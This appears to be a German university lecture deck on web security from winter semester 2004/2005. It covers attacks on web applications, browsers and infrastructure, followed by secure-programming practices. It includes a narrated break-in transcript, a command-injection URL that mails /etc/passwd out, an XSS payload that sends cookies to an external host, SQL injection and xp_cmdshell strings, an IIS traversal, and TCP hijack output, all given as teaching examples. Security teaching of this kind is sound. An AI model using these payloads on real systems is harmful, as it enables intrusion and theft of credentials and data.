05.08.2013 Aufrufe

Web Engineering - Universität Ulm

Web Engineering - Universität Ulm

Web Engineering - Universität Ulm

MEHR ANZEIGEN
WENIGER ANZEIGEN

Erfolgreiche ePaper selbst erstellen

Machen Sie aus Ihren PDF Publikationen ein blätterbares Flipbook mit unserer einzigartigen Google optimierten e-Paper Software.

<strong>Web</strong> <strong>Engineering</strong><br />

Hauptstudium Informatik<br />

Hauptstudium Medieninformatik<br />

Bachelor/Master Informatik<br />

WS 2004/2005<br />

Stand: 28.02.2005<br />

Michael <strong>Web</strong>er und Frank Kargl<br />

<strong>Universität</strong> <strong>Ulm</strong>


<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 2


hacker:~$ telnet bigwidget.com 143<br />

Trying 10.0.0.28...<br />

Connected to bigwidget.com.<br />

* OK bigwidget IMAP4rev1 Service 9.0(157) at Wed, 14 Oct 1998 11:51:50 -0400 (EDT)<br />

. logout<br />

* BYE bigwidget IMAP4rev1 server terminating connection<br />

. OK LOGOUT completed<br />

Connection closed by foreign host.<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 3


imap<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 4


imap<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 5


<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 6


hacker ~$ ./imap_exploit bigwidget.com<br />

IMAP Exploit for Linux.<br />

Author: Akylonius (aky@galeb.etf.bg.ac.yu)<br />

Modifications: p1 (p1@el8.org)<br />

Completed successfully.<br />

hacker ~$ telnet bigwidget.com<br />

Trying 10.0.0.28...<br />

Connected to bigwidget.com.<br />

Red Hat Linux release 4.2 (Biltmore)<br />

Kernel 2.0.35 on an i686<br />

login: root<br />

bigwidget:~# whoami<br />

root<br />

# w<br />

10:20pm up 13:15, 1 user, load average: 0.01, 0.02, 0.03<br />

User tty login@ idle JCPU PCPU what<br />

root console 9:27am 147:52 14:41 14:14 /sbin/sh<br />

root pts/5 9:24pm /sbin/sh<br />

# /tmp/mytools/logedit root pts/5<br />

# w<br />

10:20pm up 13:15, 1 user, load average: 0.01, 0.02, 0.03<br />

User tty login@ idle JCPU PCPU what<br />

root console 9:27am 147:52 14:41 14:14 /sbin/sh<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 7


#<br />

#<br />

#<br />

cd /var/mail<br />

ls -l<br />

-rw-rw---- 1 chuck mail 0 Sep 2 23:04 chuck<br />

-rw-rw---- 1 ribeye mail 1884734 Mar 4 09:56 ribeye<br />

grep -i password ribeye<br />

Subject: i fORGOT mY pASSWORD! hELP!!!<br />

Ribeye, you need to stop forgetting your password. I can't keep changing it<br />

your new password is "d0ntf0rg3t". WITHOUT THE QUOTES<br />

# telnet www.bigwidget.com<br />

Trying 208.21.1.5<br />

Connected to www.bigwidget.com<br />

Escape character is '^]'.<br />

UNIX(r) System V Release 4.0 (www.bigwidget.com)<br />

login: ribeye<br />

Password: d0ntf0rg3t<br />

Last login: Thu Mar 4 11:24:44 from pc23.internal.bigwidget.com<br />

www%<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 8


www%<br />

www%<br />

www%<br />

uname -a<br />

SunOS www.bigwidget.com 5.5.1 Generic_103640-24 sun4d sparc<br />

SUNW,SPARCserver-1000<br />

ls -la /usr/bin/eject<br />

-r-sr-xr-x 1 root bin 13144 Jul 15 1997 /usr/bin/eject*<br />

[ upload via cut and paste eject overflow exploit ]<br />

www% gcc -o eject_overflow eject_overflow.c<br />

www% ./eject_overflow<br />

Jumping to address 0xeffff630 B[364] E[400] SO[400]<br />

# whoami<br />

root<br />

#<br />

#<br />

cd /data/creditcards<br />

cat visa.txt<br />

Allan B. Smith 6543-2223-1209-4002 12/99<br />

Donna D. Smith 6543-4133-0632-4572 06/98<br />

Jim Smith 6543-2344-1523-5522 01/01<br />

Joseph L.Smith 6543-2356-1882-7532 04/02<br />

Kay L. Smith 6543-2398-1972-4532 06/03<br />

Mary Ann Smith 6543-8933-1332-4222 05/01<br />

Robert F. Smith 6543-0133-5232-3332 05/99<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 9


# cd /var/httpd/htdocs/<br />

# ftp my.home.base<br />

Connected to my.home.base<br />

220 WU Ftp Service FTP Service (Version 2.7).<br />

Name: hacker<br />

331 Password required for hacker.<br />

Password: *******<br />

230 User hacker logged in.<br />

Remote system type is Unix.<br />

ftp> dir<br />

200 PORT command successful.<br />

150 Opening ASCII mode data connection for /bin/ls.<br />

total 10<br />

-rwxr-xr-x 9 hacker users 1024 Aug 17 17:07 .<br />

-rwxr-xr-x 9 root root 1024 Aug 17 17:07 ..<br />

-rwxr-xr-x 2 hacker users 2034 Aug 17 17:07 index.html<br />

-rwxr-xr-x 2 hacker users 1244 Aug 17 17:07 image1.gif<br />

-rwxr-xr-x 2 hacker users 10244 Aug 17 17:07 image2.gif<br />

226 Transfer complete. 234 bytes received in 0.82 seconds (0.76 Kbytes/sec)<br />

ftp> mget *<br />

200 PORT command successful.<br />

150 Opening BINARY mode data connection for index.html<br />

226 Transfer complete.<br />

ftp> quit<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 10


<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 11


<strong>Web</strong> Security<br />

9.1 Überblick<br />

9.2 Angriffe auf <strong>Web</strong>-Anwendungen<br />

9.3 Angriffe auf den Browser<br />

9.4 Angriffe auf die Infrastruktur<br />

9.5 Sicheres Programmieren


Überblick<br />

Was bezwecken Angreifer?<br />

<strong>Web</strong>site Defacements<br />

Manipulationen (z.B. bei Ebay)<br />

Angriffsplattformen<br />

Zugang zur Informationen (DB-Inhalte, Kreditkartennr. etc.)<br />

Beispiele<br />

Mass Defacements<br />

http://www.heise.de/newsticker/meldung/49424:<br />

Schwerwiegende Sicherheitsmängel bei T-Com<br />

„Der Chaos Computer Club (CCC e.V.) entdeckte<br />

schwerwiegende Sicherheitsmängel in der T-Com-<br />

Datenbank OBSOC (Online Business Solution Operation<br />

Center). Ohne größeren Aufwand habe jeder Surfer nicht<br />

nur Kunden- und Unternehmensdaten einsehen, sondern<br />

sogar ändern können.“<br />

http://www.heise.de/newsticker/meldung/52573:<br />

Download für CMS PostNuke manipuliert<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 13


<strong>Web</strong>site Defacements<br />

<strong>Web</strong>site Hacking: http://www.alldas.de/<br />

2001: ca. 22.000<br />

2000: ca. 4.000<br />

1999: ca. 1.000<br />

1998: ca. 100<br />

http://www.zone-h.org/en/defacements/:<br />

23.11.2003, bis 16:00 CET<br />

785 gemeldete Defacements!<br />

http://www.heise.de/newsticker/meldung/54684:<br />

21C3: Massenhack löst Welle der Empörung aus<br />

„Hacker aus dem Umfeld des Chaos Communication<br />

Congress veränderten die Homepages von rund 18.000<br />

<strong>Web</strong>sites, was das LKA auf den Plan rief und Diskussionen über<br />

die Hackerethik ausgelöst hat.“<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 14


Was kann ich angreifen?<br />

<strong>Web</strong>-Anwendungen<br />

Browser<br />

Infrastruktur<br />

Netzwerk, Dienste – z.B. DNS, Serversoftware, …<br />

Benutzer<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 15


<strong>Web</strong> Security<br />

9.1 Überblick<br />

9.2 Angriffe auf <strong>Web</strong>-Anwendungen<br />

9.3 Angriffe auf den Browser<br />

9.4 Angriffe auf die Infrastruktur<br />

9.5 Sicheres Programmieren


Angriffe auf <strong>Web</strong>-Anwendungen<br />

Beispiele<br />

URLs/Parameter manipulieren<br />

Skript-Sicherheit<br />

Authentication Bypass<br />

SQL-Injection<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 17


Skript Sicherheit<br />

„Fahrlässiges“ Skripten führt zu vielen<br />

Sicherheitsproblemen<br />

Beispiel<br />

#!/usr/bin/perl<br />

use CGI qw(:standard);<br />

print header;<br />

print start_html('Login-Vorgang');<br />

$id = param("ID");<br />

$pw = param("password");<br />

$realpw = `cat passwords/$id`;<br />

print "Richtiges Passwort = $realpw ";<br />

if ( "$realpw" =~ "$pw" ) {<br />

print "Willkommen im System";<br />

} else {<br />

print "Nicht authorisiert!";<br />

}<br />

print end_html;<br />

GET http://medien.informatik.uni-ulm.de/~frank/cgi-bin/hackme/hackme.pl?<br />

ID=123%20%3B%20Mail%20frank@kargl.net%20%3C%20/etc/passwd&<br />

password=blubb&submit=Login<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 18


Authentication Bypass<br />

z.B. durch URL Manipulation (OBSOC)<br />

Einfache Passwörter<br />

uvm.<br />

Quiz:<br />

http://quiz.ngsec.com/<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 19


SQL Injection<br />

Idee: über Parametermanipulationen werden<br />

SQL Anfragen bzw. deren Ergebnis<br />

manipuliert.<br />

SELECT * FROM users WHERE user=‘$user‘ and pass=‘$password‘<br />

GET script.php?user=john‘--<br />

SQL Kommentar<br />

a‘ UNION SELECT user,pass FROM admins<br />

a‘EXEC xp_commandshell ‚dir c:\‘<br />

oder Speichern von Javascript Code in der Datenbank,<br />

der dann an Clients ausgeliefert wird (Cross-Site-Scripting)<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 20


<strong>Web</strong> Security<br />

9.1 Überblick<br />

9.2 Angriffe auf <strong>Web</strong>-Anwendungen<br />

9.3 Angriffe auf den Browser<br />

9.4 Angriffe auf die Infrastruktur<br />

9.5 Sicheres Programmieren


Angriffe auf den Browser<br />

Kann direkt oder indirekt zum „Opfer“ werden<br />

Schwachstellen im Browsercode/-konzept<br />

Schwachstellen in benutzten Libraries/Plugins<br />

Veränderung der Browsereinstellungen<br />

Ausführen von unerwünschtem Skriptcode<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 22


Buffer overruns<br />

Auch „stack smashing“ genannt<br />

Schreiben in lokale Variablen über<br />

Puffergrenzen hinaus<br />

Variableninhalt = ausführbarer Code<br />

(speziell formatiert)<br />

Ausführung: Überschreiben der<br />

Rücksprungadresse auf dem Stack<br />

Artverwandter Angriff: „format string<br />

attacks“<br />

…bei Sprachen ohne Typprüfung zur Laufzeit.<br />

Aktuell betroffen: IE IFRAME, IE JPEG lib.<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 23


Buffer overruns<br />

void doit(char *p) {<br />

char buf[20];<br />

int i;<br />

for (i=0; i


Secure Socket Layer<br />

Kommunikation zwischen Client und Server<br />

per default unverschlüsselt<br />

Statt proprietärem Protokoll für jede<br />

Applikation: Generische Lösung<br />

HTTP LDAP IMAP<br />

Secure Socket Layer<br />

TCP/IP Layer<br />

TCP/IP Layer<br />

. . .<br />

Application Layer<br />

Network Layer<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 25


Secure Socket Layer<br />

Ursprünglich von Netscape<br />

Mittlerweile RFC 2246 „Transport Layer<br />

Security“ (TLS)<br />

Zwischenschicht zwischen TCP/IP und<br />

Anwendungsprotokoll<br />

Implementiert als Bibliothek<br />

Schnittstelle den normalen Sockets sehr ähnlich<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 26


Secure Socket Layer<br />

Features:<br />

Server-Authentifizierung mit Zertifikat<br />

Client Authentifizierung mit Zertifikat (optional)<br />

Verschlüsselte Verbindung<br />

Handshake prüft Zertifikate und handelt<br />

verwendete Verfahren aus<br />

Überprüfen der Signatur d. Zertifikate<br />

(Root-CAs müssen lokal vorhanden sein)<br />

Schlüsselaustausch über DH/RSA<br />

Symm. Verschlüsselung mit 3DES/RC4/…<br />

Hashfunktionen: SHA/MD5/…<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 27


= ?<br />

Secure Socket Layer<br />

Client www.bank48.de<br />

Request<br />

Verschlüsselung<br />

Reply<br />

Zertifizierung<br />

CA<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 28


SSL Man in the Middle<br />

Beispiel: Einschalten in eine verschlüsselte<br />

Verbindung zwischen einem Bankkunden<br />

und dem Onlinebanking System der Bank 48<br />

Schlüssellänge egal<br />

Voraussetzungen:<br />

Techn. Unverständnis des Nutzers<br />

(social engineering)<br />

Einschleusen des Angreifers in Verbindung<br />

Angreifer kontrolliert entspr. Router<br />

Im lokalen Netz: ARP-Spoofing (Gateway)<br />

Global: DNS spoofing<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 29


= ?<br />

SSL Man in the middle<br />

Client www.bank48.de<br />

self-CA<br />

Request<br />

Verschlüsselung<br />

Reply<br />

sign<br />

Angreifer<br />

www.bank48.de<br />

Request<br />

Reply<br />

Verschlüsselung<br />

sign<br />

CA<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 30


SSL Man in the middle<br />

www.bank48.de<br />

Verisign CA<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 31


Browsereinstellungen<br />

Sicherheitskritisch:<br />

Proxy-Einstellungen<br />

Zonen-Einstellungen (beim IE)<br />

SSL-Zertifikate<br />

Änderung durch:<br />

Programmexploit<br />

Social engineering<br />

Wurm / Spyware / …<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 32


Cross Site Scripting<br />

Ausführen von clientseitigem Skriptcode in<br />

fremdem Kontext<br />

Skript wird auf <strong>Web</strong>server platziert, z.B.<br />

Posting in Boardsystemen<br />

Mail an <strong>Web</strong>mail-Kunde<br />

eBay-Angebot<br />

u.U. JavaScript-enabled HTML mail reader<br />

Client ruft Seite auf, sein Browser führt das<br />

Skript aus<br />

Browserintegrierte Skriptsprachen, z.B. JavaScript,<br />

ActiveScript, VBScript, …<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 33


Cross Site Scripting<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 34


Cross Site Scripting<br />

Typische Angriffsziele:<br />

Manipulation der angezeigten Daten<br />

IE zone escape<br />

Cookie stealing<br />

…ganz fatal bei Authentisierungscookies<br />

(z.B. MS Passport)<br />

…Cookies aber immer nur innerhalb der<br />

Domäne abrufbar<br />

Informationen tunneln:<br />

Manipulierte Links<br />

Transparente Bilder mit URL-Parametern<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 35


XSS - Beispiel<br />

XSS-anfälliges Management-<br />

Interface<br />

Erlaubt u.a. Browsen v. Logs<br />

Script, das ein Bild erzeugt<br />

URL-Parameter werden<br />

gespeichert<br />

Zur Illustration Ausgabe der<br />

Parameter im Bild<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 36


XSS - Beispiel<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 37


XSS - Beispiel<br />

(XSS-anfällige) Management-Konsole in PHP<br />

Authentisierungs-Info in Session<br />

Session wird von PHP anhand von Cookie<br />

identifiziert<br />

(…)<br />

if (isset($HTTP_SESSION_VARS['login'])) {<br />

echo "Log viewer\n";<br />

(…)<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 38


XSS - Beispiel<br />

Einschleusen von Skriptcode: URL-Aufruf<br />

<br />

document.write('');<br />

<br />

http://scuba.informatik.uni-ulm.de/%3Cscript%3E<br />

document.write('%3Cimg%20src=%22http://medien.informatik.<br />

uni-ulm.de/~stefan/paramimg.php?cookies='<br />

%2bdocument.cookie%2b'%22%3E');%3C/script%3E<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 39


XSS - Beispiel<br />

Einschleusen von Skriptcode: URL-Aufruf<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 40


Cross Site Scripting<br />

Scripting über Framegrenzen hinweg<br />

Andere Fenster / andere Tabs<br />

Anderer frame / iframe<br />

…besonders fatal beim IE: Sicherheitszonen<br />

<br />

onload=function () {<br />

var oVictim=open("http://seite.mit.cookie/", "OurVictim",<br />

"width=100,height=100");<br />

setTimeout( function () {<br />

oVictim.frames[0].location.href=<br />

"javascript:alert(document.cookie)"; }, 7000 );<br />

}<br />

<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 41


Cross Site Scripting<br />

Fazit:<br />

Alle Eingaben von außen sind potentiell böse!<br />

…auch welche, die zunächst zwischengespeichert<br />

wurden<br />

Filtere Metazeichen bzw. escape sie:<br />

< &lt;<br />

> &gt;<br />

Ebenso ( ) , # & ?<br />

Vorsicht bei Funktionen wie urldecode<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 42


<strong>Web</strong> Security<br />

9.1 Überblick<br />

9.2 Angriffe auf <strong>Web</strong>-Anwendungen<br />

9.3 Angriffe auf den Browser<br />

9.4 Angriffe auf die Infrastruktur<br />

9.5 Sicheres Programmieren


Angriffe auf Infrastruktur<br />

Einige Beispiele:<br />

DoS/DDoS<br />

Buffer Overflow<br />

SSL/MitM<br />

Directory Traversal<br />

für CGIs<br />

Konfigurationsfehler<br />

Angriffe auf benutzte Dienste<br />

DNS<br />

Rogue Proxies<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 44


DoS/DDoS<br />

(Distributed) Denial of Service Attacks<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 45


DDoS<br />

Attacker<br />

Router<br />

Internet<br />

Attack Relays<br />

Firewall Router<br />

Load-<br />

Balancer<br />

Backend-<br />

Server<br />

(e.g. Database)<br />

<strong>Web</strong>-<br />

Servers<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 46


DDoS<br />

Problem immer noch akut:<br />

http://www.heise.de/newsticker/meldung/55800<br />

Typische Angriffsarten<br />

SYN-Flood<br />

UDP Flood<br />

Typische Tools<br />

Trinoo<br />

Attack: UDP flooding / Control: TCP<br />

TFN2K<br />

Attack: UDP / TCP SYN / ICMP flooding + TARGA attack<br />

Control: ICMP_ECHO_REPLY, UDP, TCP (encrypted)<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 47


DDoS Schutz<br />

Schwierig!<br />

Routing abklemmen?<br />

Filter?<br />

Load Balancing / CDNs<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 48


Directory Traversal<br />

„Ausbruch“ aus htdocs Verzeichnis<br />

Beispiel:<br />

Fehler im IIS:<br />

http:///scripts/..%255c..%%35<br />

cwinnt/system32/cmd.exe?/c+dir+c:\<br />

dir C:\<br />

Entweder im <strong>Web</strong>server, oder in<br />

<strong>Web</strong>anwendung<br />

Siehe<br />

http://www.technicalinfo.net/papers/<br />

URLEmbeddedAttacks.html<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 49


Konfigurationsfehler<br />

Fehlerhafte Konfiguration z.B. im Apache-<br />

Server führt zu Sicherheitsproblemen<br />

Einige Beispiele:<br />

Server-Side Includes mit Exec CGI für Seiten in<br />

Foren/Gästebüchern<br />

Option +Indexes und fehlendes index.html in<br />

Verzeichnissen mit Konfigdaten<br />

(z.B. PHP-Includes)<br />

In Uploadverzeichnis (mit wählbarem Filenamen)<br />

werden .htaccess Files ausgewertet<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 50


Angriffe auf benutzte Dienste<br />

WWW hängt von einer Vielzahl weiterer<br />

Dienste ab<br />

DNS, TCP, IP, Routing …<br />

Vielfältige Angriffe auf diese Dienste möglich<br />

DNS Spoofing / Cache-Poisoning<br />

TCP-Hijacking<br />

Routing-DoS<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 51


Beispiel TCP Hijacking<br />

10.1.2.3 10.4.5.6<br />

telnet<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 52


Beispiel TCP Hijacking<br />

10.1.2.3 10.4.5.6<br />

Seq. A<br />

10.7.8.9<br />

Seq. B<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 53


Beispiel TCP Hijacking<br />

10.1.2.3 10.4.5.6<br />

Smurf Flood<br />

10.7.8.9<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 54


Beispiel TCP Hijacking<br />

10.1.2.3 10.4.5.6<br />

10.7.8.9<br />

Source: 10.1.2.3<br />

Dest: 10.4.5.6<br />

Seq: A+1<br />

xterm –display 10.7.8.9<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 55


Beispiel TCP Hijacking<br />

# ./hijack 10.1.2.3 1234 10.4.5.6<br />

Starting Hijacking demo – F.Kargl 1999<br />

--------------------------------------<br />

Takeover phase 1: Stealing connection.<br />

Sending Spoofed clean-up data...<br />

Waiting for spoof to be confirmed...<br />

Phase 1 ended.<br />

Takeover phase 2: Getting on track with SEQ/ACK's again<br />

Server SEQ: 2B32CC22 (hex) ACK: 1140C0E (hex)<br />

Phase 2 ended.<br />

Takeover phase 3: Sending MY data.<br />

Sending evil data.<br />

Waiting for evil data to be confirmed...<br />

Phase 3 ended.<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 56


Beispiel TCP Hijacking<br />

10.1.2.3 10.4.5.6<br />

10.7.8.9<br />

xterm<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 57


Rogue Proxies<br />

Proxies können eine Vielzahl von<br />

Veränderungen vornehmen<br />

Mithören<br />

Inhalte verändern<br />

Verbindungen blockieren<br />

All dies kann auch für Angriffe genutzt<br />

werden<br />

Beispiele<br />

Paros Proxy<br />

http://odem.org/insert_coin/<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 58


<strong>Web</strong> Security<br />

9.1 Überblick<br />

9.2 Angriffe auf <strong>Web</strong>-Anwendungen<br />

9.3 Angriffe auf den Browser<br />

9.4 Angriffe auf die Infrastruktur<br />

9.5 Sicheres Programmieren


Best practices<br />

Bei der Installation:<br />

Minimales Featureset aktivieren<br />

Versionsmeldungen abschalten<br />

Bei der Implementierung:<br />

Niemals Datenquellen von außen trauen!<br />

Benutzereingaben<br />

Alles, was übers Netz kommt<br />

Dateien, auf die auch andere Prozesse zugreifen können<br />

(z.B. Logdateien)<br />

Vorsicht mit Meta-Characters<br />

Zeichen mit Sonderbedeutung<br />

Eigene Sprache, <strong>Web</strong>-Scripts, Subsysteme (z.B. SQL-DB)<br />

Evasion: URL-Escaped characters, Unicode, …<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 60


Best practices<br />

Wartung:<br />

Nicht mehr benötigte Dateien löschen<br />

Nicht im Live-System entwickeln<br />

Backupdateien entfernen (*.bak, *~, … werden<br />

als Textdateien ausgeliefert Source verfügbar)<br />

Sicherheitsupdates von Serversoftware und<br />

Subkomponenten zeitnah einspielen<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 61


Fingerprinting erschweren<br />

Fingerprinting = Identifizieren von OS,<br />

Software, etc.<br />

Erleichtert gezielte Angriffe<br />

Chuck<br />

Suche nach Exploits f. bestimmte Versionen<br />

Charles Phillip Arthur George Windsor Mountbatten,<br />

The Prince of Wales<br />

Server: Apache Server: Apache/2.0.48 (Linux/SuSE) PHP/4.3.3<br />

OpenSSL/0.9.7b<br />

Exploits für Apache<br />

2.0.48?<br />

Welche SuSE-Release beinhaltet Apache<br />

2.0.48? Vulnerabilities dieser Release?<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 62


Apache<br />

Versionsmeldungen abschalten<br />

ServerTokens ProductOnly<br />

Bei Apache 1.x: Zusätzlich ServerSignature Off<br />

Directory browsing deaktivieren<br />

mod_headers<br />

Beliebige Headers setzen/löschen/ändern<br />

mod_security: unter anderem…<br />

Anti-evasion: Directory-“Schweinereien“ entfernen,<br />

URL-Encoding auflösen, …<br />

Regelsprache f. Header, Servervariablen, POST-<br />

Upload, …<br />

Ext. Programmaufruf f. Uploads (z.B. Virusscan)<br />

Server identity ändern<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 63


CGI scripts<br />

Generell: Buffer overrun Problematik<br />

Erkennung (Directory vs. Extension)<br />

Extension .cgi + Upload-Möglichkeit <br />

Beliebigen Code auf Server ausführen<br />

Vorsicht beim Ausführen von Kommandos<br />

mit der Shell! (gilt allgemein)<br />

Shell parsing<br />

PATH-Variable vs. Absoluter Pfad beim Aufruf<br />

CGI wrapper - Rechtebeschränkung für CGI‘s<br />

z.B. Ausführung mit der EUID des Besitzers<br />

z.B. ulimit setzen<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 64


PHP<br />

Versionsmeldungen abschalten<br />

php.ini: expose_php=Off<br />

register_globals<br />

Bei alten Versionen: Default auf „on“<br />

Automatischer Import von Environment, GET, POST, Servervar.<br />

und Cookies als globale Variablen<br />

In php.ini: register_globals=off<br />

safe_mode<br />

Einschränkung des Dateizugriffs auf eigene UID (oder –<br />

optional – GID)<br />

Nur Programme in definierten Pfaden dürfen ausgeführt<br />

werden<br />

Module dürfen nur aus best. Pfaden eingebunden werden<br />

Funktionsbeschränkung einiger Funktionen<br />

http://www.php.net/maual/en/features.safe-mode.functions.php)<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 65


Perl<br />

Warnings – perl -w<br />

Warnungen vor potentiellen Tippfehlern, z.B. im<br />

Variablenname („used only once“)<br />

Zwingt zu „etwas ordentlicherer“ Programmierweise<br />

Taint mode – perl -T<br />

Ungewollte Ausführung von Programmen erschweren<br />

Alle Variablen, die von außen kommen, sind „tainted“<br />

Umgebungsvar., stdin, Parameter, …<br />

Verwendung in exec(), system(), eval(), …<br />

Fehlermeldung<br />

„untaint“:<br />

Neuzuweisung<br />

„Filterung“ durch regulären Ausdruck (Substring extrahieren)<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 66


Tools<br />

Automatisierte Tests für XSS, SQL injection, …<br />

Paros Proxy<br />

Div. kommerzielle Scanner (z.B. <strong>Web</strong>Inspect)<br />

Buffer overflow scanner<br />

Heuristische Überprüfung von C-Programmen<br />

z.B. rats/ratscan, pscan, …<br />

Geeignete Compiler<br />

z.B. gcc-Schutzmechanismen<br />

libsafe (ersetzt anfällige Funktionen durch eigene)<br />

<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 67

Hurra! Ihre Datei wurde hochgeladen und ist bereit für die Veröffentlichung.

Erfolgreich gespeichert!

Leider ist etwas schief gelaufen!